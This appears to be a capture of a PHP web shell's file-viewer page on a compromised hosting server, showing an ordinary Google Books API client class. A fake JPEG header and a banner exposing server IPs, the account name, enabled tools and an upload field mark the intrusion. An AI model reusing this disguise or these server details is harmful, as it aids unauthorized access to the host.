ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.135 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/./www/vendor/google/apiclient-services/src/Books/Resource/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service\Books\Resource;
use Google\Service\Books\Annotationsdata;
use Google\Service\Books\DictionaryAnnotationdata;
/**
* The "annotationData" collection of methods.
* Typical usage is:
* <code>
* $booksService = new Google\Service\Books(...);
* $annotationData = $booksService->annotationData;
* </code>
*/
class LayersAnnotationData extends \Google\Service\Resource
{
/**
* Gets the annotation data. (annotationData.get)
*
* @param string $volumeId The volume to retrieve annotations for.
* @param string $layerId The ID for the layer to get the annotations.
* @param string $annotationDataId The ID of the annotation data to retrieve.
* @param string $contentVersion The content version for the volume you are
* trying to retrieve.
* @param array $optParams Optional parameters.
*
* @opt_param bool allowWebDefinitions For the dictionary layer. Whether or not
* to allow web definitions.
* @opt_param int h The requested pixel height for any images. If height is
* provided width must also be provided.
* @opt_param string locale The locale information for the data. ISO-639-1
* language and ISO-3166-1 country code. Ex: 'en_US'.
* @opt_param int scale The requested scale for the image.
* @opt_param string source String to identify the originator of this request.
* @opt_param int w The requested pixel width for any images. If width is
* provided height must also be provided.
* @return DictionaryAnnotationdata
*/
public function get($volumeId, $layerId, $annotationDataId, $contentVersion, $optParams = [])
{
$params = ['volumeId' => $volumeId, 'layerId' => $layerId, 'annotationDataId' => $annotationDataId, 'contentVersion' => $contentVersion];
$params = array_merge($params, $optParams);
return $this->call('get', [$params], DictionaryAnnotationdata::class);
}
/**
* Gets the annotation data for a volume and layer.
* (annotationData.listLayersAnnotationData)
*
* @param string $volumeId The volume to retrieve annotation data for.
* @param string $layerId The ID for the layer to get the annotation data.
* @param string $contentVersion The content version for the requested volume.
* @param array $optParams Optional parameters.
*
* @opt_param string annotationDataId The list of Annotation Data Ids to
* retrieve. Pagination is ignored if this is set.
* @opt_param int h The requested pixel height for any images. If height is
* provided width must also be provided.
* @opt_param string locale The locale information for the data. ISO-639-1
* language and ISO-3166-1 country code. Ex: 'en_US'.
* @opt_param string maxResults Maximum number of results to return
* @opt_param string pageToken The value of the nextToken from the previous
* page.
* @opt_param int scale The requested scale for the image.
* @opt_param string source String to identify the originator of this request.
* @opt_param string updatedMax RFC 3339 timestamp to restrict to items updated
* prior to this timestamp (exclusive).
* @opt_param string updatedMin RFC 3339 timestamp to restrict to items updated
* since this timestamp (inclusive).
* @opt_param int w The requested pixel width for any images. If width is
* provided height must also be provided.
* @return Annotationsdata
*/
public function listLayersAnnotationData($volumeId, $layerId, $contentVersion, $optParams = [])
{
$params = ['volumeId' => $volumeId, 'layerId' => $layerId, 'contentVersion' => $contentVersion];
$params = array_merge($params, $optParams);
return $this->call('list', [$params], Annotationsdata::class);
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(LayersAnnotationData::class, 'Google_Service_Books_Resource_LayersAnnotationData');